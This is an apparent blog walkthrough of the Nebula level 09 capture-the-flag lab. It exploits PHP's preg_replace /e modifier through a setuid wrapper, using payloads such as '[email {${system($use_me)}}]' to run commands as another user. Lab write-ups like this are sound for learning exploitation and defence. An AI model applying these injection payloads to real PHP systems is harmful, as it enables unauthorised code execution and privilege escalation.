Exploit Exercises: Nebula Level 09
There’s a C setuid wrapper for some vulnerable PHP code… To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
Source code
(level9.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Solution
Contents of the flag09 user account home folder:
1
2
3
4
5
6
7
8
9
10
11
level09@nebula:~$ cd /home/flag09/
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09 98 Nov 20 2011 .
drwxr-xr-x 1 root root 80 Aug 27 2012 ..
-rw-r--r-- 1 flag09 flag09 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag09 flag09 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag09 flag09 675 May 18 2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20 2011 flag09
-rw-r--r-- 1 root root 491 Nov 20 2011 flag09.php
level09@nebula:/home/flag09$
Now let’s take a peek into those files!
flag09:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
level09@nebula:/home/flag09$ file flag09
flag09: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level09@nebula:/home/flag09$ ./flag09
PHP Notice: Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning: file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
level09@nebula:/home/flag09$
flag09.php:
level09@nebula:/home/flag09$ cat flag09.php
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
level09@nebula:/home/flag09$
Hmmmm,
1
2
3
PHP Notice: Undefined offset: 1 in /home/flag09/flag09.php on line 22
PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Warning: file_get_contents(): Filename cannot be empty in /home/flag09/flag09.php on line 13
We have 2 notices and one warning. According to the “C setuid wrapper for some vulnerable PHP code” description, and to the file_get_contents() PHP function, we must provide a file to our ELF, which is the C setuid wrapper around our PHP code.
OK, fine, but how do we get the “getflag” command executed as the level09 user???
Well, on the line "$contents = preg_replace("/(email(.∗)email(.∗))/e", "spam(\"\\2\")", $contents);" you will observe a preg_replace with the /e modifier, which leads to Arbitrary Code Execution.
Wondering how the hell I know that? Well, here is the most resourceful link on the internet for exploitable PHP functions: https://stackoverflow.com/questions/3115559/exploitable-php-functions Enjoy.
Now let’s inject something. On the line "$output = markup($argv[1], $argv[2]);" we can observe that we call the function markup with 2 different arguments.
1
2
3
4
5
6
7
8
9
10
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
Now, by taking a look at the markup function above, we can observe that the first argument will be our attack vector. Furthermore, $use_me is useless, but it must still be used!
Let’s begin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
level09@nebula:/home/flag09$ echo "[email test@test.test]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email test@test.test]
level09@nebula:/home/flag09$
First excution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
test AT test dot test
⇒ Expected result… NOT GOOD!
level09@nebula:/home/flag09$ echo "[email phpinfo()]" > /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email phpinfo()]
level09@nebula:/home/flag09$
Second execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
level09@nebula:/home/flag09$
⇒ Hmm, we are getting there!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${phpinfo()}}]
level09@nebula:/home/flag09$
Third execution!
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2
System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Build Date => Oct 13 2011 23:17:32
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php5/cli
<sniiiiiiiiiiiiiiiiiiiiiiiiip of large output>
level09@nebula:/home/flag09$
⇒ Gentlemen, we have achieved Arbitrary Code Execution of a PHP function.
WOW, WOW, wait a second! We have only executed a PHP function, using a C setuid wrapper around some vulnerable PHP code. But instead of executing a PHP function, we need to execute a Linux system command (getflag) as the user level09. Fun time. Check the setuid permission.
1
2
3
4
5
6
7
8
9
10
level09@nebula:/home/flag09$ ls -al
total 13
drwxr-x--- 2 flag09 level09 98 Nov 20 2011 .
drwxr-xr-x 1 root root 80 Aug 27 2012 ..
-rw-r--r-- 1 flag09 flag09 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag09 flag09 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag09 flag09 675 May 18 2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20 2011 flag09
-rw-r--r-- 1 root root 491 Nov 20 2011 flag09.php
level09@nebula:/home/flag09$
Perfect — using setuid on the flag09 ELF, we can get our commands executed as level09. But how do we run a Linux system command? Weeeeellll, by using another PHP function (daaaah lol). Fourth execution!
1
2
3
4
5
6
7
8
9
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${shell_exec("ls -lart");}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
spam("{${shell_exec(\"ls -lart\");}}") in /home/flag09/flag09.php on line 15
level09@nebula:/home/flag09$
⇒ FAIL! We cannot escape the “" in order to execute a proper command. ⇒ Small trick for you guys.
1
2
3
4
5
6
7
8
level09@nebula:/home/flag09$ nano /tmp/test
level09@nebula:/home/flag09$ cat /tmp/test
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/test sexy_pussycat
sh: sexy_pussycat: command not found
PHP Notice: Undefined variable: in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:/home/flag09$
Apparently we do not have a system command called “sexy_pussycat”, sad day… But for the grand finale:
1
2
3
4
5
level09@nebula:/home/flag09$ ./flag09 /tmp/test getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:/home/flag09$
Well done! At this point you have finished 50% of Nebula from Exploit Exercises. Share, subscribe and ask questions!
